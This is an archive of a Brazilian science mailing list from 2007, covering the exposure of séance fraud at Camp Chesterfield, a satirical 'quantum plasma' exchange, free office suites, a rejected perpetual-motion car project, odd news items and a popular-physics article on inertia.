incr�veis materializa��es de esp�ritos. O que descobriram foi chocante a
eles mesmos: as filmagens mostraram com enorme clareza que os supostos
esp�ritos materializados entravam na sala escura por uma porta secreta e
eram figuras bem vivas e conhecidas, incluindo dirigentes do retiro.
Ridiculamente envoltos em len��is e v�us, algo como os fantasmas de Scooby
Doo.
O pr�prio O'Neill escreveu posteriormente emocionado em seu boletim:

"Fiquei profundamente chocado! Edith Stillwell, quem eu sempre elogiei aos
c�us como uma das maiores m�diums do movimento Espiritualista, simplesmente
n�o podia � n�o iria � fraudar uma sess�o! Eu disse: Andrija, essas pessoas
sabem o que n�s estamos fazendo; elas at� olharam pelo equipamento elas
mesmas; elas sabem do que ele � capaz, e al�m disso, por que algu�m se
arriscaria tanto quando o editor do Psychic Observer e um cientista de seu
renome, registrando para a posteridade todo movimento transpirando na
sala?!"

� realmente intrigante por que os fraudadores continuaram seu servi�o como
de costume sabendo que tudo estaria sendo filmado. Talvez n�o soubessem ao
certo o que a filmagem em infravermelho poderia registrar de fato, ou talvez
contassem com a condescend�ncia ou credulidade dos dois visitantes. Nunca �
demais lembrar mais uma vez das materializa��es da irm� Josefa, presenciadas
por Chico Xavier<http://www.universoespirita.org.br/materializacoes/0_materilizacao_inicial.htm>.
Ainda que as fotografias das supostas materializa��es mostrem claramente
v�us e mesmo viseiras, esp�ritas continuam acreditando em sua veracidade.
� assim louv�vel que os dois cr�dulos visitantes do Camp Chesterfield,
Puharich e O'Neil, tenham exibido algum bom senso e reconhecido a filmagem
como o que era: evid�ncia �bvia de fraude. � relevante ler o artigo completo
escrito por O'Neil, que frisa diversas vezes sua dificuldade em acreditar
nos pr�prios olhos: Fraud uncovered at Chesterfield Spiritualist
Camp<http://www.freewebs.com/afterlife/articles/chessfraud.htm>
.
O caso � relevante tamb�m para expor a fragilidade de argumentos comumente
propostos por esp�ritas de que um m�dium n�o fraudaria em condi��es
controladas. Aqui est� prova de que o fazem, assumindo os riscos por algum
motivo qualquer. E ainda que sejam comumente pegos no ato, devemos assumir
que alguns n�o o ser�o. E entre milhares de supostos m�diuns, sempre
restar�o alguns que com o tempo passar�o � posteridade como "m�diuns nunca
expostos como fraudes", e que "sempre se ofereceram para investiga��es
controladas". Com investigadores que reconhecem a dificuldade de acreditar
em evid�ncias t�o claras como a de Chesterfield, e que n�o acreditam nas
evid�ncias f�sicas claras da irm� Josefa, n�o deveria ser tanta surpresa.
Em 1997, o c�tico Richard Wiseman fez algo similar ao caso Chesterfield,
simulando uma sess�o esp�rita, mas filmando tudo com c�meras especiais para
revelar os truques utilizados por supostos m�diuns:

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=998>

Bem se v� a verdadeira raz�o para a avers�o do ectoplasma � claridade.
Em tempo: o Camp Chesterfield continua
funcionando<http://www.campchesterfield.net/>
.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Mais uma alternativa gratuita de pacote de produtividade
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/09/2007 22:56

Além do OpenOffice e das ferramentas que o Google oferece, agora a IBM
decidiu oferecer gratuitamente seu pacote Lotus Symphony.

http://symphony.lotus.com/software/lotus/symphony/home.jspa
http://www.openoffice.org/
http://docs.google.com

Piratear MS Office pra quê?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fraudes em sessões espíritas: o Campo Chesterfield
FROM: Expedito Barroso <expebarroso@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/09/2007 16:03

E como explicar o plasma quântico?

Kentaro Mori <kentaro.mori@gmail.com> escreveu: Fraudes em sessões espíritas: o Campo
ChesterfieldAssista
ao vídeo

Do excelente BadPsychics.com , o vídeo acima
apresenta logo no início breves trechos do filme expondo as fraudes do "Camp
Chesterfield", um retiro espiritualista que realizava sessões espíritas com
materializações em pleno século XX.
Em 1960, Tom O'Neil, editor do boletim "Psychic Observer", e Andrija
Puharich, mais conhecido por seu envolvimento posterior com Uri Geller,
resolveram investigar melhor o campo. Nenhum dos dois pode ser classificado
como cético, e sua idéia era utilizar uma tecnologia que havia acabado de se
tornar mais acessível, o filme em infravermelho, para registrar melhor as
incríveis materializações de espíritos. O que descobriram foi chocante a
eles mesmos: as filmagens mostraram com enorme clareza que os supostos
espíritos materializados entravam na sala escura por uma porta secreta e
eram figuras bem vivas e conhecidas, incluindo dirigentes do retiro.
Ridiculamente envoltos em lençóis e véus, algo como os fantasmas de Scooby
Doo.
O próprio O'Neill escreveu posteriormente emocionado em seu boletim:

"Fiquei profundamente chocado! Edith Stillwell, quem eu sempre elogiei aos
céus como uma das maiores médiums do movimento Espiritualista, simplesmente
não podia — não iria — fraudar uma sessão! Eu disse: Andrija, essas pessoas
sabem o que nós estamos fazendo; elas até olharam pelo equipamento elas
mesmas; elas sabem do que ele é capaz, e além disso, por que alguém se
arriscaria tanto quando o editor do Psychic Observer e um cientista de seu
renome, registrando para a posteridade todo movimento transpirando na
sala?!"

É realmente intrigante por que os fraudadores continuaram seu serviço como
de costume sabendo que tudo estaria sendo filmado. Talvez não soubessem ao
certo o que a filmagem em infravermelho poderia registrar de fato, ou talvez
contassem com a condescendência ou credulidade dos dois visitantes. Nunca é
demais lembrar mais uma vez das materializações da irmã Josefa, presenciadas
por Chico Xavier.
Ainda que as fotografias das supostas materializações mostrem claramente
véus e mesmo viseiras, espíritas continuam acreditando em sua veracidade.
É assim louvável que os dois crédulos visitantes do Camp Chesterfield,
Puharich e O'Neil, tenham exibido algum bom senso e reconhecido a filmagem
como o que era: evidência óbvia de fraude. É relevante ler o artigo completo
escrito por O'Neil, que frisa diversas vezes sua dificuldade em acreditar
nos próprios olhos: Fraud uncovered at Chesterfield Spiritualist
Camp
.
O caso é relevante também para expor a fragilidade de argumentos comumente
propostos por espíritas de que um médium não fraudaria em condições
controladas. Aqui está prova de que o fazem, assumindo os riscos por algum
motivo qualquer. E ainda que sejam comumente pegos no ato, devemos assumir
que alguns não o serão. E entre milhares de supostos médiuns, sempre
restarão alguns que com o tempo passarão à posteridade como "médiuns nunca
expostos como fraudes", e que "sempre se ofereceram para investigações
controladas". Com investigadores que reconhecem a dificuldade de acreditar
em evidências tão claras como a de Chesterfield, e que não acreditam nas
evidências físicas claras da irmã Josefa, não deveria ser tanta surpresa.
Em 1997, o cético Richard Wiseman fez algo similar ao caso Chesterfield,
simulando uma sessão espírita, mas filmando tudo com câmeras especiais para
revelar os truques utilizados por supostos médiuns:

Assista ao vídeo

Bem se vê a verdadeira razão para a aversão do ectoplasma à claridade.
Em tempo: o Camp Chesterfield continua
funcionando
.


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SUBJECT: P/ Expedito - Re: [ciencialist] Fraudes em sessões espíritas: o Campo Chesterfield
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/09/2007 18:27

Olá Expedito

Expedito: "E como explicar o plasma quântico?"

Que plasma quantico? Do que exatamente está falando? E que tipo de explicação procura? Do tipo natural, física, ou do tipo sobrenatural, algo como um "por que", no lugar de "como"? E a falta de uma explicação científica de algo não significa que se possa escolher qualquer outra, por prazer ou preferência, sabe disso não?

Eu pergunto tudo isso porque a física quantica, com sua complexidade e capacidade de causar estranhamento nas pessoas leigas (e mesmo nos físicos) tem sido usada para justificar as mais absurdas e fora de propósito alegações fantásticas e esotéricas que a imaginação humana já produziu..:-)

Os termos "plasma" e "quantico" são bem definidos em ciência, e tem significado preciso, não podendo ser utilizados fora desses alcance restrito, sem comprometer sua validade ou compreensão.

Assim, poderia explicar melhor o que quer dizer com o termo "plasma quantico" e que tipo de explicação espera?

Dentro do alcance restrito da terminologia científica, existe uma condição na física padrão chamada "plasma quantico", que envolve conceitos de física bem avançados, experimentos complexos e uma enorme quantidade de evidências físicas. Para compreender essa condição, é preciso conhecer bem a teoria atômica (átomos, prótons, neutrons, elétrons), as subpartículas como quarks, gluons e bósons, e mais um bocado de equações e dados complexos.

Um resumo, bem simplificado: aceleradores de particulas podem produzir, por períodos infímos de segundo, elétrons e núcleos livres, sem ligação, chamado de plasma. Essa parece ter sido a condição inicial nos segundos logo após o Big Bang, uma situação de enorme energia, que impede a ligação estável de formação de átomos, (elétrons e núcleos).

Aceleradores podem produzir plasmas de quarks e gluons, e como essa particulas são definidas pela física quantica, esse tipo de plasma se chama plasma quantico.

Como pode ver, nada disso tem a mais remota ligação com ecto-plasmas, fraudes espíritas, fantasmas desencarnados, ou coisas do tipo. E a explicação, física, do termo plasma quantico pode ser encontrada em livros de fisica avançada e mesmo em algumas páginas da rede, mas não é coisa fácil de ser compreendida por leigos.

Um abraço.

Homero





----- Original Message -----
From: Expedito Barroso
To: ciencialist@yahoogrupos.com.br
Sent: Friday, September 21, 2007 4:03 PM
Subject: Re: [ciencialist] Fraudes em sessões espíritas: o Campo Chesterfield


E como explicar o plasma quântico?

Kentaro Mori <kentaro.mori@gmail.com> escreveu: Fraudes em sessões espíritas: o Campo
ChesterfieldAssista
ao vídeo

Do excelente BadPsychics.com , o vídeo acima
apresenta logo no início breves trechos do filme expondo as fraudes do "Camp
Chesterfield", um retiro espiritualista que realizava sessões espíritas com
materializações em pleno século XX.
Em 1960, Tom O'Neil, editor do boletim "Psychic Observer", e Andrija
Puharich, mais conhecido por seu envolvimento posterior com Uri Geller,
resolveram investigar melhor o campo. Nenhum dos dois pode ser classificado
como cético, e sua idéia era utilizar uma tecnologia que havia acabado de se
tornar mais acessível, o filme em infravermelho, para registrar melhor as
incríveis materializações de espíritos. O que descobriram foi chocante a
eles mesmos: as filmagens mostraram com enorme clareza que os supostos
espíritos materializados entravam na sala escura por uma porta secreta e
eram figuras bem vivas e conhecidas, incluindo dirigentes do retiro.
Ridiculamente envoltos em lençóis e véus, algo como os fantasmas de Scooby
Doo.
O próprio O'Neill escreveu posteriormente emocionado em seu boletim:

"Fiquei profundamente chocado! Edith Stillwell, quem eu sempre elogiei aos
céus como uma das maiores médiums do movimento Espiritualista, simplesmente
não podia - não iria - fraudar uma sessão! Eu disse: Andrija, essas pessoas
sabem o que nós estamos fazendo; elas até olharam pelo equipamento elas
mesmas; elas sabem do que ele é capaz, e além disso, por que alguém se
arriscaria tanto quando o editor do Psychic Observer e um cientista de seu
renome, registrando para a posteridade todo movimento transpirando na
sala?!"

É realmente intrigante por que os fraudadores continuaram seu serviço como
de costume sabendo que tudo estaria sendo filmado. Talvez não soubessem ao
certo o que a filmagem em infravermelho poderia registrar de fato, ou talvez
contassem com a condescendência ou credulidade dos dois visitantes. Nunca é
demais lembrar mais uma vez das materializações da irmã Josefa, presenciadas
por Chico Xavier.
Ainda que as fotografias das supostas materializações mostrem claramente
véus e mesmo viseiras, espíritas continuam acreditando em sua veracidade.
É assim louvável que os dois crédulos visitantes do Camp Chesterfield,
Puharich e O'Neil, tenham exibido algum bom senso e reconhecido a filmagem
como o que era: evidência óbvia de fraude. É relevante ler o artigo completo
escrito por O'Neil, que frisa diversas vezes sua dificuldade em acreditar
nos próprios olhos: Fraud uncovered at Chesterfield Spiritualist
Camp
.
O caso é relevante também para expor a fragilidade de argumentos comumente
propostos por espíritas de que um médium não fraudaria em condições
controladas. Aqui está prova de que o fazem, assumindo os riscos por algum
motivo qualquer. E ainda que sejam comumente pegos no ato, devemos assumir
que alguns não o serão. E entre milhares de supostos médiuns, sempre
restarão alguns que com o tempo passarão à posteridade como "médiuns nunca
expostos como fraudes", e que "sempre se ofereceram para investigações
controladas". Com investigadores que reconhecem a dificuldade de acreditar
em evidências tão claras como a de Chesterfield, e que não acreditam nas
evidências físicas claras da irmã Josefa, não deveria ser tanta surpresa.
Em 1997, o cético Richard Wiseman fez algo similar ao caso Chesterfield,
simulando uma sessão espírita, mas filmando tudo com câmeras especiais para
revelar os truques utilizados por supostos médiuns:

Assista ao vídeo

Bem se vê a verdadeira razão para a aversão do ectoplasma à claridade.
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.

[As partes desta mensagem que não continham texto foram removidas]

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[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fraudes em sessões espíritas: o Campo Chesterfield
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/09/2007 00:13

--- Em ciencialist@yahoogrupos.com.br, Expedito Barroso
<expebarroso@...> escreveu
>
> E como explicar o plasma quântico?

Interessante... Não vi nenhum plasma quântico, só alguns mestres
espíritas reforçando a fé do rebanho com algum hócus-pócus. Alguém viu
algum plasma quântico?

De qualquer forma, deve ser um prato cheio para os psicólogos. Não só
a reação dos "mestres", mas também as reações aqui mesmo, nesta lista...

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Re: Fraudes em sessões espíritas: o Campo Chesterfield
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/09/2007 06:28

O plasma quântico é o estado embrionário do ectoplasma. O reencarnado não pode se formar diretamente a partir do espírito moldando o ectoplasma; existe uma fase intermediária onde o espírito recebendo energia do plano superior (beta) se desfragmenta em quarks e gluons constituindo o plasma quântico e é a partir desse estado altamente energético que se inicia a reencarnação. A energia desse estado embrionário é justamente utilizada para recompor as partes dando-lhe uma estrutura corpórea. A incidência de luz branca (notadamente a parcela amarela) transfere (mediante fótons) energia ao sistema, o que dificultará e mesmo impedirá a reencarnação. A incidência de luz vermelha e mesmo a infravermelha pouco efeito têm sofre o plasma quântico, mas mesmo assim é capaz de se refletir (pois entregou pouca energia) e retornar ao filme sensível. O que aparece no filme, portanto, é o espírito em forma de uma aura, sem detalhes precisos, característico do estado plasmático quântico, um estado pré-ecto-plasmático-corpo. O equacionamento dessas etapas intermediárias apesar de difícil, dado o estado quântico da função, não é impossível. A passagem mais trabalhosa consiste na normalização do tensor PI que relaciona 9 parâmetros (algo parecido com uma matriz 3 x 3); recorre-se, via de regra, à simplificação proposta por Dr. Lee De Forest da Universidade de Singapura que, ao fim e ao cabo, são as transformadas de De Broglie assumidas como válidas para quark e gluons em lugar de elétrons e núcleos.

Prof. Me. Luiz Ferraz Netto
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================
-----Mensagem Original-----
De: "César A. K. Grossmann" <cesarakg@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 22 de setembro de 2007 00:13
Assunto: [ciencialist] Re: Fraudes em sessões espíritas: o Campo Chesterfield


--- Em ciencialist@yahoogrupos.com.br, Expedito Barroso
<expebarroso@...> escreveu
>
> E como explicar o plasma quântico?

Interessante... Não vi nenhum plasma quântico, só alguns mestres
espíritas reforçando a fé do rebanho com algum hócus-pócus. Alguém viu
algum plasma quântico?

De qualquer forma, deve ser um prato cheio para os psicólogos. Não só
a reação dos "mestres", mas também as reações aqui mesmo, nesta lista...

[]s
--
César A. K. Grossmann



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http://www.ciencialist.com


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SUBJECT: Re: [ciencialist] Fraudes em sessões espíritas: o Campo Chesterfield
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/09/2007 08:55

----- Original Message -----
From: "Expedito Barroso"
Sent: Friday, September 21, 2007 4:03 PM
Subject: Re: [ciencialist] Fraudes em sessões espíritas: o Campo
Chesterfield

> E como explicar o plasma quântico?

A "física" quântica não explica nada. Se esse plasma for quântico,
será inexplicável, e se for explicável não será quântico.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Produção audiovisual sobre a Química
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/09/2007 09:33

Olá

Um tema que eu acredito ser interessante é o que trata da Quimiossíntese.

Acredito que tenha um valor de aprendizado e um valor humano incomparáveis, além de ser um dos temas recentes pouco explorados nas aulas de ciências.

sds

DDias

Esteban Moreno <estebanlmoreno@gmail.com> escreveu:
Colegas, estou tendo que propor uma produção audiovisual, com no
mínimo 3 episódios de 7 a 10 minutos cada, sobre algum tema relevante
da Química. O tipo da mídia pode ser qualquer um, mas temos facilidade
para a criação de desenhos animados.
Quem se habilita a sugerir um tema?
Abraços,
Esteban.






Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Mais uma alternativa gratuita de pacote de produtividade
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/09/2007 09:41

Caro Takata,



Usei o OpenOffice por uns tempos. É meio lento, pesadão, mas eficiente. Tem
tantos recursos quanto o MS Office. Mas acabei voltando para o feijão com
arroz, o MS Office. A notícia sobre a IBM até me deu uma esperança: agora me
livro do MS. Baixei e instalei o Office da IBM. Também não me pareceu mais
leve, além de haver encontrado problemas para abrir o Excel:

alguns arquivos Excel(2007) ele não abre e lasca na tela a seguinte
informação:



IBM producity tools do n ot suport this file format. (????).

Já com outros arquivos igualmente xls ele nem liga e abre normalmente.!!!



A pergunta que vos faço é: com você aconteceu o mesmo, ou seria alguma
zevitada nesse mister?

Teria alguma dica para me fornecer?

Costumo ser teimoso e ficar futucando até achar o caminho. Mas é que tempo e
paciência andam me faltando. Esse, o motivo do apelo.



Quanto ao editor de texto, tudo ok, até agora. Não testei o editor de
apresentações. Também só me serve para abrir documentos do tipo, que me
mandam; nem sei como usá-lo.



Sds,

Victor.











De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: quinta-feira, 20 de setembro de 2007 22:57
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Mais uma alternativa gratuita de pacote de
produtividade



Além do OpenOffice e das ferramentas que o Google oferece, agora a IBM
decidiu oferecer gratuitamente seu pacote Lotus Symphony.

http://symphony.lotus.com/software/lotus/symphony/home.jspa
http://www.openoffice.org/
http://docs.google.com

Piratear MS Office pra quê?

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: dúvidas para construção de um carro elétrico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 22/09/2007 14:20

Alguém pode me dar uma ajuda nesse simples projeto?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Carla Cristina Galvão de Sales e Silva" <carlacris18@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: sexta-feira, 21 de setembro de 2007 21:41
Assunto: dúvidas para construção de um carro elétrico


| Olá Leo!
|
|
| Meu nome é Carla Cristina e estou liderando um grupo cujo projeto é a
| construção de um protótipo de um carro elétrico usando moto perpétuo!
| Gostaria que por favor pudesse me ajudar, me dando alguns tópicos sobre esse
| projeto!
|
|
| obrigada!
|
| _________________________________________________________________
| Verifique já a segurança do seu PC com o Verificador de Segurança do Windows
| Live OneCare! http://onecare.live.com/site/pt-br/default.htm
|
|
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|
|


SUBJECT: NOTICIAS MAIS IMPORTANTES NA INTERNET
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/09/2007 15:38

Lista,


Um conhecido me mandou. Pelo inusitado dos temas, repasso a vocês.

É mesmo para se dizer: putz!



Destaco os dois temas abaixo:


1)Senador americano processa Deus por estragos.


2)Fui roubado, diz homem que acordou em autópsia



Esses aí de cima são mais putz! que os outros. Confiram.



E assim caminha a humanidade.



Sds,

Victor.




Mulher tenta entrar na Grã-Bretanha com iguana no sutiã


Um iguana foi encaminhado para um zoológico na Grã-Bretanha depois de ter
sido transportado para o país dentro do sutiã de uma mulher. A mulher foi
parada no aeroporto de Blackpool, no noroeste do país, depois que um
policial percebeu algo se mexendo por baixo do vestido dela, na altura dos
seios.


#########################




Sutiã breca bala perdida e salva mulher na Flórida


O sutiã salvou uma americana da cidade de St. Petersburg, na Flórida, do que
poderia ser um grave ferimento a bala. De acordo com o site Metro.co.uk,
Debbie Bingham estava em uma festa de ano-novo quando sentiu uma dor
lacerante no ombro. Ela havia sido atingida por um projétil de pistola
calibre 45.

Por sorte, o disparo que havia sido feito para o alto, atingiu a fivela da
alça de seu sutiã, que absorveu grande parte do impacto.

#####################


Senador americano processa Deus por estragos


Um senador americano do Estado de Nebrasca está processando Deus por causar
inumeráveis mortes e horror, além de ameaças terroristas. Ernie Chambers,
furioso por outro processo que considera frívolo, diz que quer mostrar que
qualquer um pode processar quem queira nos Estados Unidos.


#####################


Americano é preso por tentar sacar cheque de Deus


Um americano de 21 anos foi detido e pode ser condenado a uma pena de até
sete anos de prisão por tentar sacar um cheque de US$ 50 mil assinado por
vários nomes usados para se referir a Deus.


###################





Fui roubado, diz homem que acordou em autópsia


Carlos Camejo, o venezuelano que acordou no necrotério após ter sido
declarado morto, disse ao jornal El Universal de seu país que vai processar
o hospital pelo descuido e pelo sumiço de 600 mil bolívares (cerca de R$
500). Camejo diz ainda que sua aliança de casamento desapareceu.

























[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Produção audiovisual sobre a Química
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/09/2007 16:31

Bem interessante este tema, Dirceu. Fico só temendo por tangenciar
demasiadamente a Biologia..
Um abraço,
Esteban.


Em 22/09/07, Dirceu Dias <hymboldt2005@yahoo.com.br> escreveu:
>

> Olá
>
> Um tema que eu acredito ser interessante é o que trata da Quimiossíntese.
>
> Acredito que tenha um valor de aprendizado e um valor humano incomparáveis, além de ser um dos temas recentes pouco explorados nas aulas de ciências.
>
> sds
>
> DDias
>
> Esteban Moreno <estebanlmoreno@gmail.com> escreveu:
> Colegas, estou tendo que propor uma produção audiovisual, com no
> mínimo 3 episódios de 7 a 10 minutos cada, sobre algum tema relevante
> da Química. O tipo da mídia pode ser qualquer um, mas temos facilidade
> para a criação de desenhos animados.
> Quem se habilita a sugerir um tema?
> Abraços,
> Esteban.
>
> Flickr agora em português. Você clica, todo mundo vê. Saiba mais.
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>


SUBJECT: Re: [ciencialist] Fw: dúvidas para construção de um carro elétrico
FROM: "Thadeu Penna" <thadeu.penna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/09/2007 17:21

Em 22/09/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
> Alguém pode me dar uma ajuda nesse simples projeto?

Podemos: desista dele, já que não existe moto perpétuo.



> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Carla Cristina Galvão de Sales e Silva" <carlacris18@hotmail.com>
> Para: <leobarretos@uol.com.br>
> Enviada em: sexta-feira, 21 de setembro de 2007 21:41
> Assunto: dúvidas para construção de um carro elétrico
>
> | Olá Leo!
> |
> |
> | Meu nome é Carla Cristina e estou liderando um grupo cujo projeto é a
> | construção de um protótipo de um carro elétrico usando moto perpétuo!
> | Gostaria que por favor pudesse me ajudar, me dando alguns tópicos sobre esse
> | projeto!
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> | obrigada!
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> |
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--
Thadeu Penna
Prof.Associado - Instituto de Física
Universidade Federal Fluminense
http://profs.if.uff.br/tjpp/blog


SUBJECT: Enc: Re: [ciencialist] Re: Fraudes em sessões espíritas: o Campo Chesterfield
FROM: vernerstranz@click21.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 22/09/2007 19:06


Parabéns Leo, vc se superou!!! Um estado pré-ecto-plasmático-corpo é uma tirada
genial... O Prof.Me. por acaso significa Professor em Mediunidade???
abraços, verner.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==


----- Mensagem encaminhada de Luiz Ferraz Netto <leobarretos@uol.com.br> -----
Data: Sat, 22 Sep 2007 06:28:06 -0300
De: Luiz Ferraz Netto <leobarretos@uol.com.br>
Responder para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Fraudes em sessões espíritas: o Campo
Chesterfield
Para: ciencialist@yahoogrupos.com.br

O plasma quântico é o estado embrionário do ectoplasma. O reencarnado não pode
se formar diretamente a partir do espírito moldando o ectoplasma; existe uma
fase intermediária onde o espírito recebendo energia do plano superior (beta)
se desfragmenta em quarks e gluons constituindo o plasma quântico e é a partir
desse estado altamente energético que se inicia a reencarnação. A energia desse
estado embrionário é justamente utilizada para recompor as partes dando-lhe uma
estrutura corpórea. A incidência de luz branca (notadamente a parcela amarela)
transfere (mediante fótons) energia ao sistema, o que dificultará e mesmo
impedirá a reencarnação. A incidência de luz vermelha e mesmo a infravermelha
pouco efeito têm sofre o plasma quântico, mas mesmo assim é capaz de se
refletir (pois entregou pouca energia) e retornar ao filme sensível. O que
aparece no filme, portanto, é o espírito em forma de uma aura, sem detalhes
precisos, característico do estado plasmático quântico, um estado
pré-ecto-plasmático-corpo. O equacionamento dessas etapas intermediárias apesar
de difícil, dado o estado quântico da função, não é impossível. A passagem mais
trabalhosa consiste na normalização do tensor PI que relaciona 9 parâmetros
(algo parecido com uma matriz 3 x 3); recorre-se, via de regra, à simplificação
proposta por Dr. Lee De Forest da Universidade de Singapura que, ao fim e ao
cabo, são as transformadas de De Broglie assumidas como válidas para quark e
gluons em lugar de elétrons e núcleos.

Prof. Me. Luiz Ferraz Netto
leobarretos@uol.com.br
http://www.feiradeciencias.com.br


SUBJECT: Física genuina para todos
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/09/2007 04:32

Lista,

O endereço http://cienciahoje.uol.com.br/101328, como de costume, exibe notícias de interêsse imediato. Destas, destaco o artigo abaixo, que copiei e colei, para facilitar para vós outros. O autor faz uma bela dissertação a respeito deste tema tão comum e "visceralmente" ligado ao nosso dia a dia, de uma maneira apropriada a uma divulgação para não especialistas, interessados em saber o be-a-bá. Não chega a ser do nível do Léo, mas está prá lá de bom. O moço escreve de um jeito simples, despojado e correto, à luz dos conhecimentos científicos atuais, o de que muito gosto. E o que é melhor: física sem dor e gratuita. É mole, ou querem mais?

Sds,
Victor.



"O enigma do movimento
Colunista explica a conexão entre os movimentos acelerados e a gravidade








A aceleração sentida por um piloto de Fórmula 1 dentro do carro, que é de n vezes a aceleração da gravidade terrestre, faz com que ele sinta seu corpo comprimido contra o assento com a mesma intensidade. A imagem mostra o Grande Prêmio da Malásia de 2006. (Foto: Wikipédia)




Atualmente, a maioria das pessoas, sobretudo as que vivem em regiões urbanas, utilizam algum veículo para se locomover, especialmente automóveis. Quando o automóvel (ou qualquer outro veículo) entra em movimento, sentimos no seu interior uma força que nos comprime contra o assento. Quanto mais intensa é a aceleração, maior é essa força.

Durante as transmissões esportivas de corridas de Fórmula 1, por exemplo, é comum que se exibam gráficos mostrando a aceleração que o piloto está sentindo no cockpit , normalmente expressa em unidades de "g", que representa a aceleração da gravidade terrestre, que vale aproximadamente 9,8 m/s 2 . Dessa forma, quando o piloto sofre uma aceleração igual a 2 ou 3 "g", é como se ele sentisse duas ou três vezes o seu peso comprimindo-o contra o assento. O que o faz sentir essa sensação?

A explicação vem de um conceito introduzido por Galileu Galilei (1564-1642) conhecido como inércia. Galileu mostrou que um corpo permanecerá em repouso ou continuará a se mover com velocidade constante em uma linha reta a menos que um agente externo atue sobre ele. Isaac Newton (1643-1727) incorporou esse conceito na sua formulação da Mecânica Clássica e ele ficou conhecido como a 1ª Lei de Newton.

Quando o carro começa a se mover, o nosso corpo, de acordo com o princípio da inércia, tenderá a se manter no seu estado de repouso. O assento, ligado ao carro, empurra o nosso corpo e esse reage empurrando o banco. Da mesma maneira, quando o automóvel freia bruscamente, somos arremessados para frente, pois o carro pára, mas nós continuamos em movimento. Quanto maior for a massa do corpo, mais difícil é alterar o seu estado de movimento. Portanto, é mais difícil parar um caminhão com várias toneladas do que um carro, pois a sua inércia é maior.

Uma outra situação na qual sentimos esse efeito é quando estamos em pé em um ônibus urbano e este faz uma curva fechada, por exemplo, para a direita. Ao acontecer isso, sentimos "uma força" nos impulsionando para a esquerda.


Einstein por volta de 1905, no escritório de patentes em Berna (Suíça).



Entretanto, uma pessoa que estivesse na calçada descreveria a situação de maneira diferente. Para ela, o ônibus mudou a sua trajetória e quem está dentro dele continuou a se movimentar em linha reta, como prevê a 1ª Lei de Newton. Para esse observador, não existe força nenhuma atuando sobre os passageiros do ônibus, apenas a ação da tendência de todos os corpos manterem o seu estado de movimento. Mas quem tem a resposta correta? Existe uma força ou é apenas uma ilusão para quem viaja no ônibus? Qual é a origem dessa força que nos arremessa contra a parede do ônibus?

Questões como essas despertaram o interesse de Albert Einstein (1879-1955). Por volta do ano de 1907, ele pensava em uma forma de generalizar a Teoria da Relatividade Restrita, que ele tinha proposto em 1905 (veja a coluna Sonhos de um jovem visionário ). Segundo essa teoria, nenhum observador poderia ser considerado privilegiado em relação a outro qualquer. Quando Einstein formulou essa hipótese, ele apenas considerou a sua validade para os chamados "observadores inerciais", que, como diz o próprio nome, são observadores que mantêm o seu estado de movimento e não estão sujeitos à ação de forças.

Inércia X gravidade
